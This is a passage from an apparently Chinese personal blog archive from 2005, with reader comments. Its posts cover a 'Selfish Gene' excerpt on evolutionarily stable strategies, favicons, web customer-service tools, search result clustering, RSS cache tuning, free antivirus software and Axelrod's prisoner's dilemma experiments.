我总是有一种预感，我们可能最终会承认ESS概念的发明，是自达尔文以来进化理论上最重要的发展之一。凡是有利害冲突的地方，它都适用，这就是说几乎在一切地方都适用。一些研究动物行为的学者沾染了侈谈"社会组织"的习惯。他们动辄把一个物种的社会组织看作是一个具备作为实体的条件的单位，它享有生物学上的"有利条件”。我所举的"统治集团"就是一例。我相信，混迹于生物学家有关社会组织的大量论述中的那些隐蔽的群体选择主义的各种假定，是能够辨认出来的。史密斯的ESS概念使我们第一次能够清楚地看到，一个由许多独立的自私实体所构成的集合体，如何最终变得象一个有组织的整体。我认为，这不仅对物种内的社会组织是正确的，而对于由许多物种所构成的"生态系统"以及"群落"也是正确的。从长远观点来看，我预期ESS概念将会使生态学发生彻底的变革。　　我们也可以把这一概念运用于曾在第三章搁置下来的一个问题，即船上的桨手（代表体内的基因）需要很好的集体精神这一类比。基因被选择，不是因为它在孤立状态下的"好”，而是由于在基因库中的其他基因这一背景下工作得好。好的基因应能够和它必须与之长期共同生活于一系列个体内的其余基因和谐共存，相互补充。磨嚼植物的牙齿的基因在草食物种的基因库中是好基因，但在肉食物种的基因库中就是不好的基因。　　我们可以设想一个不矛盾的基因组合，它是作为一个单位被选择在一起的。在第三章蝴蝶模拟的例子中，情况似乎就是如此。但现在ESS概念使我们能够看到，自然选择纯粹在独立基因的水平上如何能够得到相同的结果，这就是ESS概念的力量所在。这些基因并不一定是在同一条染色体上连接在一起的。　　其实，划船的类比还没达到说明这一概念的程度。它最多只能说明一个近似的概念。我们假定，一个赛艇的全体船员要能真正获得成功，重要的是奖手必须用言语协调其动作。我们再进一步假定，在桨手库中，教练能够选用的桨手，有些只会讲英语，有些只会讲德语。操英语的奖手并不始终比操德语的桨手好些，也不总是比操德语的桨手差些。但由于通话的重要性，混合组成的桨手队得胜的机会要少些，而纯粹讲英语的或纯粹讲德语的所组成的桨手队得胜的机会要多些。　　教练没有认识到这点，他只是任意地调配他的桨手，认为得胜的船上的个体都是好的，认为失败的船上的个体都是差的。如果在教练的桨手库中，英国人碰巧占压倒优势，那么，船上只要有一个德国人，很可能就会使这条船输掉，因为无法进行通话；反之，如果在桨手库中凑巧德国人占绝对优势，船上只要有一个英国人，也会使这条船失败。因此，最理想的一队船员应处于两种稳定状态中任何一种，即要么全部是英国人，要么全部是德国人，而绝不是混合阵容。表面上看起来，教练似乎选择清一色的语言小组作为单位，其实不然，他是根据个体桨手赢得竞赛的明显能力来进行选择的。而个体赢得竞赛的趋向则要取决于候选桨手库中现有的其他个体。属于少数的候选桨手会自动受到惩罚，这倒并非因为他们是不好的桨手，而仅仅是由于他们是少数而已。同样，基因因能相互和谐共存而被选择在一起，这并不一定说明我们必须象看待蝴蝶的情况那样，把基因群体也看成是作为单位来进行选择的。在单个基因低水平上的选择能给人以在某种更高水平上选择的印象。　　在这一例子中，自然选择有利于简单的行为一致性。更为有趣的是，基因之被选择可能由于它们的相辅相成的行为。以类比法来说明问题，我们可以假定由四个右手划桨手和四个左手划奖手组成的赛艇队是力量匀称的理想队；我们再假定教练不懂得这个道理，他根据"功绩"盲目进行挑选。那么如果在候选桨手库中碰巧右手划桨手占压倒优势的话，任何个别的左手划桨手往往会成为一种有利因素：他有可能使他所在的任何一条船取得胜利，他因此就显得是一个好桨手。反之，在左手划桨手占绝对多数的桨手库中，右手划桨手就是一个有利因素。这种情况就同一只鹰在鸽子种群中取得良好成绩，以及一只鸽子在鹰种群中取得良好成绩的情况相似。所不同的是，在那里我们讲的是关于个体–自私的机器–之间的相互作用；而这里我们用类比法谈论的是关于体内基因之间的相互作用。　　教练盲目挑选"好"桨手的最终结果必然是由四个左手划奖手和四个右手划桨手组成的一个理想的桨手队。表面看起来他好象把这些桨手作为一个完整的、力量匀称的单位选在一起的。我觉得说他在较低的水平上，即在单独的候选桨手水平上进行选择更加简便省事。四个左手划桨手和四个右手划桨手加在一起的这种进化上稳定状态（“策略"一词在这里会引起误解）的形成，只不过是以表面功绩为基础在低水平上进行选择的必然结果。　　基因库是基因的长期环境。“好的"基因是作为在基因库中存活下来的基因盲目地选择出来的。这不是一种理论，甚至也不是一种观察到的事实，它不过是一个概念无数次的重复。什么东西使基因成为好基因才是人们感兴趣的问题。我曾讲过，建造高效能的生存机器–躯体–的能力是基因之成为好基因的标准，这是一种初步的近似讲法。现在我们必须对这种讲法加以修正。基因库是由一组进化上稳定的基因所形成，这组基因成为一个不受任何新基因侵犯的基因库。大部分因突变、重新组合或来自外部而出现的基因很快就受到自然选择的惩罚：这组进化上稳定的基因重新得到恢复。新基因侵入一组稳定的基因偶尔也会获得成功，即成功地在基因库中散布开来。然后出现一个不稳定的过渡阶段，最终又形成新的一组进化上稳定的基因–发生了某种细微程度的进化。按进犯策略类推，一个种群可能有不止一个可选择的稳定点，还可能偶尔从一个稳定点跳向另一个稳定点。渐进的进化过程与其说是一个稳步向上爬的进程，倒不如说是一系列的从一个稳定台阶走上另一个稳定台阶的不连续的步伐。作为一个整体，种群的行为就好象是一个自动进行调节的单位。而这种幻觉是由在单个基因水平上进行的选择所造成。基因是根据其"成绩"被选择的，但对成遗的判断是以基因在一组进化上稳定的基因（即现存基因库）的背景下的表现为基础的。　　史密斯集中地论述了一些完整个体之间的进犯性相互作用，从而把问题阐明。鹰的躯体和鸽子躯体之间的稳定比率易于想象，因为躯体是我们能够看得见的大物体。但寄居于不同躯体中的基因之间的这种相互作用犹如冰山的尖顶。而在一组进化上稳定的基因–基因库–中，基因之间绝大部分的重要相互作用，是在个体的躯体内进行的。这些相互作用很难看见，因为它们是在细胞内，主要是在发育中的胚胎细胞内发生的。完整的浑然一体的躯体之所以存在，正是因为它们是一组进化上稳定的自私基因的产物。　　但我必须回到完整动物之间的相互作用的水平上来，因为这是本书的主题。把个体动物视为独立的自私机器便于理解进犯行为。如果有关个体是近亲–兄弟姐妹，堂兄弟姐妹，双亲和子女–这一模式也就失去效用。这是因为近亲体内有很大一部分基因是共同的。因此，每一个自私的基因却同时须忠于不同的个体。

GMail的中文界面

Mon, 18 Apr 2005 21:40:12 +0800

从WebLeOn’s Blog: 看到：Gmail正式支持多国语言：

以前设计应用的时候就对Google的国际化设计非常佩服，后来逐步了解了核心使用Unicode进行存储，然后根据客户端本地字符集不同再进行本地化编码转换的好处：Unicode inside, Localization outside。现在大部分应用全部使用Unicode进行最终输出了：感觉Google应用的本地化步骤明显比其他国外服务商要快的多。

💬 历史评论

以下 1 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

raenoll · 2005-04-18 23:21

可是好些国内发的Email都不用加charset，一堆乱码，还要自己调用Original看，，，，

网站头像： favicon.ico

Sun, 17 Apr 2005 00:09:54 +0800

很多人问过我：你的网站在地址栏中的那个图标是怎么弄出来的？这个文件就是在WEB根目录下的favicon.ico文件： http://www.example.com/favicon.ico

很多门户网站都有这个文件。我觉得它的作用和MSN中的人物头像类似，可以称作“网站头像”吧。

Favicon以前只是在IE收藏时会用到，但现在很多多窗口的浏览器都支持，比如我使用的AvantBrowser：

目前很流行的FireFox:

Favicon可以方便用户在很多窗口的时候快速定位到他需要的那个TAB：人对图像的识别速度还是比抽象的文字还是要快很多。

favicon.ico文件生成还是有些难度的：它不是标准的位图文件，需要用专门的favicon编辑器生成。我很喜欢的一个在线favicon生成器服务：直接上传你喜欢的图片，直接生成16*16像素的favicon.ico文件，还有在线预览功能。

在RSS应用中，目前支持favicon的应用也越来越多了：比如我用的Lilina:

希望有更多的网站都能增加上这个功能。

补充：可以在页面的HTML Header中增加：强制要求浏览器请求这个图片。

💬 历史评论

以下 14 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

我爱妞妞 · 2005-04-17 18:29

一般来说,都是在head里直接加,但我发现你的页面里面好像不是用的这个方式，你是怎么做的呢？

回复：我爱妞妞的确可以在HTML页面的Header中增加：

强制要求浏览器请求这个图片，不过大部分新的浏览器已经支持缺省这么做了。我是在服务器的跟目录下部署了那个文件：http://www.chedong.com/favicon.ico

dvcoldge · 2005-04-17 19:31

用 office picture manager 改变图片尺寸为16*16的，然后用画图打开并直接保存为24位图，文件后加.ico即可。

回复：dvcoldge 谢谢你的小窍门，我以后试试。

Ccming · 2005-04-18 10:31

我的blog有这个东西，可是我的rss订阅没有，在rss里面怎么加？

回复：Ccming favicon不是在RSS中增加的：需要相应软件中支持向服务器端取这个文件

hao · 2005-04-24 09:34

我添加了favicon.ico还是不行，语句也添加了还是不行，是不是吧！后面改为？？

没成功

guoshuang · 2005-04-25 10:02

补充几点： 1.IE 会自动发请求给www服务器，所以favicon.ico直接丢到站点根目录即可（如果是16色16x16大小的话）。 2.也可以是*.gif的格式。只要不是16色16x16大小的ico，都必须写上这句

3.没有这个 favicon，WWW服务器端会汇报404错误。 4.从WWW服务器日志中，可以大略了解有多少人加了浏览器收藏夹。 http://blog.guoshuang.com/david/showlog.asp?cat_id=31&log_id=839

TraCQ：缩短电子商务的最后一公里

Sat, 16 Apr 2005 21:37:59 +0800

是从搜索力排行榜认识TraCQ的：他们的数字还是非常有依据的。

仔细看了他们的服务，发现TRACQ的在线客服是一个很新颖的模式：

简单的说：TraCQ的在线客服就是网页=>即时通讯工具的服务。这个在线用户反馈入口可以部署在企业网站的每一个网页上，而企业客服人员可以通过即时通讯工具直接对正在浏览网页的客户进行即时在线客户服务。

这可能让很多人想起了最早ICQ的WEB入口工具：你可以通过部署一个简单的JavaScript，你网站的客户就可以从一个在线表单中直接给你的ICQ发送留言。（后来这个功能被大量的spam bot所淹没）

但是在线即时消息的接口的确是有其潜在商业价值的：国外也有提供类似服务，比如：www.chatango.com 假设有一个客户找到了你的网站（比如从搜索引擎），他会如何跟你联系呢？目前传统的手法可能是电话联系，这就需要你在所有网页上都不一定有联系或者定购方式，即使有：如果用户是一个外省的客商，肯能因为长途费用而放弃当前的进一步询问。

对于一般商家来说：申请一个800免费电话服务可能是非常贵的，但如果是一个直接部署在网页上的在线呼叫中心服务就是一个相对成本较低的解决方案。

具体的机制如下：TraCQ在网页上部署了一个JS，这个JS可以根据用户的各种来源信息制定一些灵活的规则。比如：用户的IP对应的地理信息和用户使用的语言（比如：如果发现浏览器是英文版并且来自美国，则可以将用户自动转移给国外的代理商）；用户来自那个搜索引擎，使用了什么关键词（而在线客服立刻可以知道用户的来意：具体对那个产品感兴趣，从而而简化了用户电话说明的过程）；用户目前的位置：很多在线商店都发现往往在线支付阶段用户会撤销提交，而导致交易失败，如果在提交阶段能即时的给用户一些必要的支持，这样的帮助无疑会大大提高交易的成功率；

通过以上信息：网站自身可以组合定制制定一些灵活的业务逻辑。

此外：首次访问过以后：TraCQ会在浏览器中给用户记录一个唯一Cookie，并用来下次访问进行识别。

比如：发现某个用户已经来过这个网站2次，到这个网站进行在线服务请求的时候，用户自己还能看到自己以前所有的对话。如果网站的后台有多个人员支持的话：也可以方便进行快速进行上下文回顾，这个是传统电话语音服务无法比拟的。

TraCQ目前应用的地方有：政府网站：在线信访；医院：在线问药；电子商务网站：在线支付答疑； IT商户：在线客服还有有转发消息到手机功能；

其实：我想在所有客户失败后的页面都能有这样一个一对一的在线支持，无疑将目前网页的交互性大大提高。而互联网的低成本，即时性也能得到充分体现。

缺点：觉得目前的TraCQ的在线反馈功能还是启动稍微慢了一点，缺省最好是一个只有留言功能的聊天窗口即可，如果用户需要再增加视频，音频等方式。而需要下载控件也是最好能避免的……

TraCQ体现了网站向细微化经营的趋势：这是以前面向海量用户的传统门户网站无法做到的，反而非常适合面向特定用户的专业网站使用：可以充分挖掘cookie, referer, ip, user agent，时间等因素制定交互性更强的服务；

相对于目前P4P市场的按点击付费的模式的弊端已经在逐步显现：大量的点击作弊会逐步让搜索付费市场产生零和效应。而TraCQ所代表的P4T：pay for talk/telephone显然是下一代更有实际价值的广告模式。

CMS的功能和效率绝对是互斥的：类似的我们也可以看到像MT这样小而美的CMS其影响力要远远超过大型专业内容发布系统。而MT的分布式的部署和高可定制度使得这些小型应用系统不用太多考虑效率问题，并且能够更专著于丰富的功能本身。

💬 历史评论

以下 1 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

tristones · 2005-04-17 17:56

两年前通过百度的朋友介绍认识tracq，想谈一个嵌入EIP,CMS的合作，很遗憾，结果却不了了之。不看这篇文章，基本已经遗忘了这个事情。

MSN推出带有自动类聚功能的搜索引擎

Thu, 14 Apr 2005 23:13:51 +0800

对于搜索结果的丰富程度有2个方面，一方面是搜索引擎的索引量，不进入索引肯定是搜索不到的；另外一方面是展现：如何在有限的范围内(比如 top 10)消除重复/或者近似的内容，展现更多样性的结果。目前的搜索引擎已经利用了一些简单的类聚方式提高搜索结果的广泛性，比如：根据站点域名类聚：每个网站的相关结果只显示1条或2条，如果需要缩小搜索范围，可以使用[站内搜索]获得更多内容；根据网页内容标题/摘要进行类聚：在搜索过程重相同标题的网页或者网页相似内容的结果将被省略掉，这样用户就有可能看到后面更多样的结果了；相关搜索：增加更多的关键词，帮助缩小搜索范围，这可能也是搜索引擎逐渐都增加了“相关搜索”的原因吧；

从MSN Search Blog上看到：msnsearch’s WebLog : Search Results Clustering

试用了一下：的确非常不错。自动分类技术将是下一步改善搜索效率的一个很重要的方面，因为很多用户面对搜索出来的成千上万条结果没有一页一页的翻找的耐心，而又不会使用更多关键词帮助缩小搜索范围，这样搜索引擎搜索出来的内容真正被用户使用的，可能只有最前面很少的一部分。

如果说目前的海量网页搜索引擎只是帮助用户找到了和快速定位到一些已知问题的目标，那么对于一些模糊信息，如果搜索引擎根据内容能将头几百条中的内容按照一定特征“类聚”起来，相当于帮助用户快速浏览了TOP 1000条结果，帮助用户在更大范围内帮助快速缩小搜索范围并定位到需要的主题。

所以我感觉自动分类技术相当于在不增加索引量的情况下进一步提高搜索引擎的广泛度和可用度。

带有类聚功能的引擎，比如：Vivisimo很早就开始出现了: 但是为什么一直没有推广开呢？原因很简单：速度。Vivisimo是META引擎：就是利用其他搜索引擎的搜索结果进行再加工。其速度当然受到非常多的限制，是不可能在大并发用户访问压力下保持足够快的响应速度。

但是这次MSN不同了：MSN搜索是自有技术的后台引擎，看到下面的“@2005 Microsoft Corporation. All rights reserved.”了吗？微软有足够的资源（可能暂时还没有投入）将各种搜索结果预先缓存处理好并更快的进行类聚，但这次发布在directtaps.net是MSN首先在另外注册的域名上进行的试验：也可能能是独立的搜索门户的尝试。

Registrant: Microsoft Corporation 1 Microsoft Way Redmond, WA 98052 US

Domain name: DIRECTTAPS.NET

Administrative Contact: Administrator, Domain domains@microsoft.com One Microsoft Way Redmond, WA 98052 US +1.4258828080 Technical Contact: Hostmaster, MSN msnhst@microsoft.com One Microsoft Way Redmond, WA 98052 US +1.4258828080

Registration Service Provider: DBMS VeriSign, dbms-support@verisign.com 800-579-2848 x4 Please contact DBMS VeriSign for domain updates, DNS/Nameserver changes, and general domain support questions.

周日：潭杯山－潭柘寺拉练

Thu, 14 Apr 2005 22:53:14 +0800

参考：周末户外活动 – 10月19日（周日）圈门－潭杯山－潭柘寺－苹果园超长距离拉练之：圈门－潭杯山－潭柘寺一日穿越

穿越路线：从苹果园坐~~326~~ 370（车票一元路程越40分钟）到门头沟圈门终点站，下车后即上潭杯山——龙潭——潭柘寺然后坐车回家。

简介：和大香八拉，九龙山一样，都属于出了苹果园地铁后30分钟左右就可以上山且强度不大景色优美，适于拉练的近郊最佳路线，一路上地貌复杂多变移步换景，峰峦叠幛、沟壑纵横，穿行于西山的数条千年古道，可以在充分享受大自然的美色和空气，同时也能发现诸多残恒断壁，庙址碑刻、从众多文化遗址中，探寻沧桑历史的足迹。一路上有山有水有人烟，还有众多人文景观，足以使人忘却疲劳，全部行程正常速度约4－5小时。

注意： 1.本次活动要求最好有登山鞋或或底厚一点的旅游鞋，头灯。 2.带水2升，自带午餐，高热量食物为佳。 3.遇雨活动取消。

要求： 1，树立环保意识，遵守绿野公约，饭后不能把垃圾留在山上，别人的也尽量顺手带回。 2，上了山大家就是一家人，每人利益息息相关，希望为了他人能够服从领队，不能擅自分队活动。 3，尊受绿野公约，活动风险自负，请慎重报名。

时间： 4月17日早9点苹果园地铁口超市前集合出发，过时不侯。

💬 历史评论

以下 1 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

yufeng · 2005-04-16 01:48

祝周末愉快！：）但听说这两天风大，做好防风准备。

Lilina的简单预缓存加速

Wed, 13 Apr 2005 19:26:56 +0800

何东也安装了一个Lilina：Info-Aggr for Hedong，他觉得太慢。

如何加速呢：Lilina的RSS更新是一种动态触发的缓存更新机制，当每次有用户访问请求的时候，lilina检查cache目录中相应RSS的缓存，如果没有缓存或者缓存过期了，就立刻去服务器上取。而慢一般就慢在这个RSS的同步上了，比如：每天早上第一次访问，所有的RSS都需要更新，而订阅的RSS又非常多的情况下速度就非常慢了。减少每次访问时触发RSS更新的几率是提高速度的关键。

我的方法： 1 使用wget导出成静态页面或者按照一定时间强制RSS更新我在crontab中增加了：

chedong’s homepage

*/10 * * * * (/usr/bin/wget -O - http://www.chedong.com/) 这样后台就能每10分钟去取一次RSS结果页，这样：一般用户看到的时候可以大大降低没有命中缓存的情况。“wget -O -“表示输出到标准输出，完全可以改成 wget -O /home/path/to/lilina/index.html 这样用户就直接访问导出的index.html了，和PlanetPlanet效果一样。

2 将缓存时间设置为4个小时过期（缺省为1个小时）：这样每次访问的时候同时又多个RSS同时过期的几率就会小很多。

具体做法是在Lilina的输出脚本中增加’MAGPIE_CACHE_AGE’全局变量：单位是秒缺省是3600秒比如要改成4小时 define(‘MAGPIE_CACHE_AGE’, 60 * 60 * 4);

其实大部分BLOG每周只有少量更新，达到4个小时的同步延迟速度已经足够了（Google的新闻的更新周期才3个小时）。

3 控制你的RSS数据源个数：如果RSS有上百个，Lilina每次都要检查上百个的缓存文件，所以即使缓存文件都是最新的，检查过程也会非常漫长。我个人觉得控制在RSS在20个以下比较好，建议经常删除一些你不关心的或者更新很慢的BLOG。

4 客户端浏览器本地缓存：在lilina输出程序的开头增加以下Header: // always modified now header(“Last-Modified: " . gmdate(“D, d M Y H:i:s”) . " GMT”); // Expires one hour later header(“Expires: " .gmdate (“D, d M Y H:i:s”, time() + 3600). " GMT”);

免费杀毒软件下载：AVG Avira Avast

Wed, 13 Apr 2005 13:57:34 +0800

推荐：免费杀毒软件AntiVir 2009-01-29 更新：自从avg 8开始在firefox中增加类似于搜索结果安全预先下载检查后，这款软件已经有些向病毒发展了；还好有另外一款免费杀毒软件：小红伞，请到 freeav.com 下载； 2009-02-18 更新： Avast有简体中文的免费版下载

共享给最近饱受病毒折磨的朋友们……使用杀毒软件之前：首先是一定要去Windows Update升级最新的补丁程序和养成不运行任何外人传来的可执行程序的习惯（即使下载软件也要尽量去软件的官方网站找最新版本下载）。给计算机使用不熟练的朋友安装系统：也尽量要给他们设置成用户而不是管理员权限使用。其次有些机器运行很慢并非是病毒造成的：而是Windows自身的一些程序的失败重试造成系统运行缓慢，例如： svchost.exe / spoolsv.exe。

以前用的是Norton AV，安装后速度的确有一定影响。直到去年：同事介绍使用免费的AVG（目前只有英文界面），的确能查出一些Norton查不出来的木马程序，而且自动更新的速度也很快。是捷克的一家公司的产品。官方下载地址：点击下图下载: http://www.download.com/AVG-Anti-Virus-Free-Edition/3000-2239_4-10320142.html ![avg.png](http://www.chedong.com/blog/archives/avg.png) Download.com下载地址：http://www.download.com/AVG-Anti-Virus-Free-Edition/3000-2239_4-10645435.html

记得在2001年以前，当时还在使用Windows ME，机器上几乎是从来不安装任何杀毒软件的。当时养成不运行任何邮件中附带的可执行程序就可以了；使用Windows 2000后，缺省安装Norton就已经很安全了；到了现在如果不安装任何Service Pack和杀毒软件上宽带网，几乎5分钟后就会中着，根本没有机会去Windows Update安装补丁。现在基本上推荐朋友安装360卫士和~~AVG杀毒~~小红伞杀毒。 2006-07-08 更新: 最近GriSoft还提供了一个查杀流氓(间谍/后门)软件的工具EWido Networks:； 2007-10-27 更新：查杀木马和恶意软件用360Safe不错； 2008-12-02 更新： AVG 8 - Invalid Update Control CTF File 问题的解决方法：在Windows Vista下删除：
C:\Users\All Users\Application Data\Avg8\update\download*.ctf
在Windows XP下删除：
C:\Document and Settings\All Users\Application Data\Avg8\update\download*.ctf

💬 历史评论

以下 76 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

tsing · 2005-04-13 15:54

我一直开着的XP自带的防火墙，就没中过毒了，防毒软件都没装。^_^

hugh · 2005-04-17 18:27

请问我可以转载这篇文章吗？虽然没有试过文章中的软件。

回复：最好试用后再转载，请表明CC版权信息

[转载]：博弈论与纳什平衡

Tue, 12 Apr 2005 20:05:42 +0800

博弈论（game theory）对人的基本假定是：人是理性的（rational，或者说自私的）,理性的人是指他在具体策略选择时的目的是使自己的利益最大化，博弈论研究的是理性的人之间如何进行策略选择的。

纳什（John Nash）编制的博弈论经典故事“囚徒的困境”，说明了非合作博弈及其均衡解的成立，故称“纳什平衡”。

所有的博弈问题都会遇到三个要素。在囚徒的故事中，两个囚徒是当事人(players)又称参与者；当事人所做的选择策略 (strategies)是承认了杀人事实，最后两个人均赢得(payoffs)了中间的宣判结果。如果两个囚徒之中有一个承认杀人，另外一个抵赖，不承认杀人，那么承认者将会得到减刑处理，而抵赖者将会得到最严厉的死刑判决，在纳什故事中两个人都承认了犯罪事实，所以两个囚徒得到的是中间的结果。

类似的：我们也能从“自私的基因”等理论中看到“纳什平衡”的体现。

在互联网这个原始丛林中：最优策略是如何产生的呢？

一、博弈中最优策略的产生艾克斯罗德（Robert Axelrod）在开始研究合作之前，设定了两个前提：一、每个人都是自私的；二、没有权威干预个人决策。也就是说，个人可以完全按照自己利益最大化的企图进行决策。在此前提下，合作要研究的问题是：第一、人为什么要合作；第二、人什么时候是合作的，什么时候又是不合作的；第三、如何使别人与你合作。社会实践中有很多合作的问题。比如国家之间的关税报复，对他国产品提高关税有利于保护本国的经济，但是国家之间互提关税，产品价格就提高了，丧失了竞争力，损害了国际贸易的互补优势。在对策中，由于双方各自追求自己利益的最大化，导致了群体利益的损害。对策论以著名的囚犯困境来描述这个问题。 A和B各表示一个人，他们的选择是完全无差异的。选择C代表合作，选择D代表不合作。如果AB都选择C合作，则两人各得3分；如果一方选C，一方选D，则选C的得零分，选D的得5分；如果AB都选D，双方各得1分。显然，对群体来说最好的结果是双方都选C，各得3分，共得6分。如果一方选C，一方选D，总体得5分。如果两人都选D，总体得2分。对策学界用这个矩阵来描述个体理性与群体理性的冲突：每个人在追求个体利益最大化时，就使群体利益受损，这就是囚徒困境。在矩阵中，对于A来说，当对方选C，他选D得5分，选C只得3分；当对方选D，他选D得1分，选C得零分。因此，无论对方选C或D，对A来说，选D都得分最多。这是A单方面的优超策略。而当两个优超策略相遇，即A，B都选D时，结果是各得1分。这个结果在矩阵中并非最优。困境就在于，每个人采取各自的优超策略时，得出的解是稳定的，但不是帕累托最优的，这个结果体现了个体理性与群体理性的矛盾。在数学上，这个一次性决策的矩阵没有最优解。如果博弈进行多次，只要对策者知道博弈次数，他们在最后一次肯定采取互相背叛的策略。既然如此，前面的每一次也就没有合作的必要，因此，在次数已知的多次博弈中，对策者没有一次会合作。如果博弈在多人间进行，而且次数未知，对策者就会意识到，当持续地采取合作并达成默契时，对策者就能持续地各得3分，但如果持续地不合作的话，每个人就永远得1分。这样，合作的动机就显现出来。多次对局下，未来的收益应比现在的收益多一个折现率W，W越大，表示未来的收益越重要。在多人对策持续进行下去，且W比较大，即未来充分重要时，最优的策略是与别人采取的策略有关的。假设某人的策略是，第一次合作，以后只要对方不合作一次，他就永不合作。对这种对策者，当然合作下去是上策。假如有的人不管对方采取什么策略，他总是合作，那么总是对他采取不合作的策略得分最多。对于总是不合作的人，也只能采取不合作的策略。艾克斯罗德做了一个实验，邀请多人来参加游戏，得分规则与前面的矩阵相同，什么时候结束游戏是未知的。他要求每个参赛者把追求得分最多的策略写成计算机程序，然后用单循环赛的方式将参赛程序两两博弈，以找出什么样的策略得分最高。第一轮游戏有14个程序参加，再加上艾克斯罗德自己的一个随机程序(即以50%的概率选取合作或不合作)，运转了300次。结果得分最高的程序是加拿大学者罗伯布写的"一报还一报"(tit for tat)。这个程序的特点是，第一次对局采用合作的策略，以后每一步都跟随对方上一步的策略，你上一次合作，我这一次就合作，你上一次不合作，我这一次就不合作。艾克斯罗德还发现，得分排在前面的程序有三个特点：第一，从不首先背叛，即"善良的"；第二，对于对方的背叛行为一定要报复，不能总是合作，即" 可激怒的"；第三，不能人家一次背叛，你就没完没了的报复，以后人家只要改为合作，你也要合作，即"宽容性"。为了进一步验证上述结论，艾氏决定邀请更多的人再做一次游戏，并把第一次的结果公开发表。第二次征集到了62个程序，加上他自己的随机程序，又进行了一次竞赛。结果，第一名的仍是"一报还一报"。艾氏总结这次游戏的结论是：第一，"一报还一报"仍是最优策略。第二，前面提到的三个特点仍然有效，因为63人中的前15名里，只有第8名的哈灵顿程序是"不善良的"，后15名中，只有1个总是合作的是"善良的"。可激怒性和宽容性也得到了证明。此外，好的策略还必须具有的一个特点是"清晰性"，能让对方在三、五步对局内辨识出来，太复杂的对策不见得好。"一报还一报"就有很好的清晰性，让对方很快发现规律，从而不得不采取合作的态度。　二、合作的进行过程及规律 "一报还一报"的策略在静态的群体中得到了很好的分数，那么，在一个动态的进化的群体中，这种合作者能否产生、发展、生存下去呢？群体是会向合作的方向进化，还是向不合作的方向进化？如果大家开始都不合作，能否在进化过程中产生合作？为了回答这些疑问，艾氏用生态学的原理来分析合作的进化过程。假设对策者所组成的策略群体是一代一代进化下去的，进化的规则包括：一，试错。人们在对待周围环境时，起初不知道该怎么做，于是就试试这个，试试那个，哪个结果好就照哪个去做。第二，遗传。一个人如果合作性好，他的后代的合作基因就多。第三，学习。比赛过程就是对策者相互学习的过程，"一报还一报"的策略好，有的人就愿意学。按这样的思路，艾氏设计了一个实验，假设63个对策者中，谁在第一轮中的得分高，他在第二轮的群体中所占比例就越高，而且是他的得分的正函数。这样，群体的结构就会在进化过程中改变，由此可以看出群体是向什么方向进化的。实验结果很有趣。"一报还一报"原来在群体中占1/63，经过1000代的进化，结构稳定下来时，它占了24%。另外，有一些程序在进化过程中消失了。其中有一个值得研究的程序，即原来前15名中唯一的那个"不善良的"哈灵顿程序，它的对策方案是，首先合作，当发现对方一直在合作，它就突然来个不合作，如果对方立刻报复它，它就恢复合作，如果对方仍然合作，它就继续背叛。这个程序一开始发展很快，但等到除了"一报还一报"之外的其它程序开始消失时，它就开始下降了。因此，以合作系数来测量，群体是越来越合作的。进化实验揭示了一个哲理：一个策略的成功应该以对方的成功为基础。"一报还一报"在两个人对策时，得分不可能超过对方，最多打个平手，但它的总分最高。它赖以生存的基础是很牢固的，因为它让对方得到了高分。哈灵顿程序就不是这样，它得到高分时，对方必然得到低分。它的成功是建立在别人失败的基础上的，而失败者总是要被淘汰的，当失败者被淘汰之后，这个好占别人便宜的成功者也要被淘汰。那么，在一个极端自私者所组成的不合作者的群体中，"一报还一报"能否生存呢？艾氏发现，在得分矩阵和未来的折现系数一定的情况下，可以算出，只要群体的 5%或更多成员是"一报还一报"的，这些合作者就能生存，而且，只要他们的得分超过群体的总平均分，这个合作的群体就会越来越大，最后蔓延到整个群体。反之，无论不合作者在一个合作者占多数的群体中有多大比例，不合作者都是不可能自下而上的。这就说明，社会向合作进化的棘轮是不可逆转的，群体的合作性越来越大。艾克斯罗德正是以这样一个鼓舞人心的结论，突破了"囚犯困境"的研究困境。在研究中发现，合作的必要条件是：第一、关系要持续，一次性的或有限次的博弈中，对策者是没有合作动机的；第二、对对方的行为要做出回报，一个永远合作的对策者是不会有人跟他合作的。那么，如何提高合作性呢？首先，要建立持久的关系，即使是爱情也需要建立婚姻契约以维持双方的合作。（火车站的小贩为什么要骗人？为什么工作中要形成小组制度？换防的时候一方总是要小小地进攻一下的，在中越前线就是这样）第二、要增强识别对方行动的能力，如果不清楚对方是合作还是不合作，就没法回报他了。第三、要维持声誉，说要报复就一定要做到，人家才知道你是不好欺负的，才不敢不与你合作。第四、能够分步完成的对局不要一次完成，以维持长久关系，比如，贸易、谈判都要分步进行，以促使对方采取合作态度。第五、不要嫉妒人家的成功，"一报还一报"正是这样的典范。第六、不要首先背叛，以免担上罪魁祸首的道德压力。第七、不仅对背叛要回报，对合作也要作出回报。第八、不要耍小聪明，占人家便宜。（打桥牌和打麻将的区别）艾克斯罗德在《合作的进化》一书结尾提出几个结论。第一、友谊不是合作的必要条件，即使是敌人，只要满足了关系持续，互相回报的条件，也有可能合作。比如，第一次世界大战期间，德英两军在战壕战中遇上了三个月的雨季，双方在这三个月中达成了默契，互相不攻击对方的粮车给养，到大反攻时再你死我活地打。这个例子说明，友谊不是合作的前提。第二、预见性也不是合作的前提，艾氏举出生物界低等动物、植物之间合作的例子来说明这一点。但是，当有预见性的人类了解了合作的规律之后，合作进化的过程就会加快。这时，预见性是有用的，学习也是有用的。当游戏中考虑到随机干扰，即对策者由于误会而开始互相背叛的情形时，吴坚忠博士经研究发现，以修正的"一报还一报"，即以一定的概率不报复对方的背叛，和 "悔过的一报还一报"，即以一定的概率主动停止背叛。群体所有成员处理随机环境的能力越强，"悔过的一报还一报"效果越好，"宽大的一报还一报"效果越差。　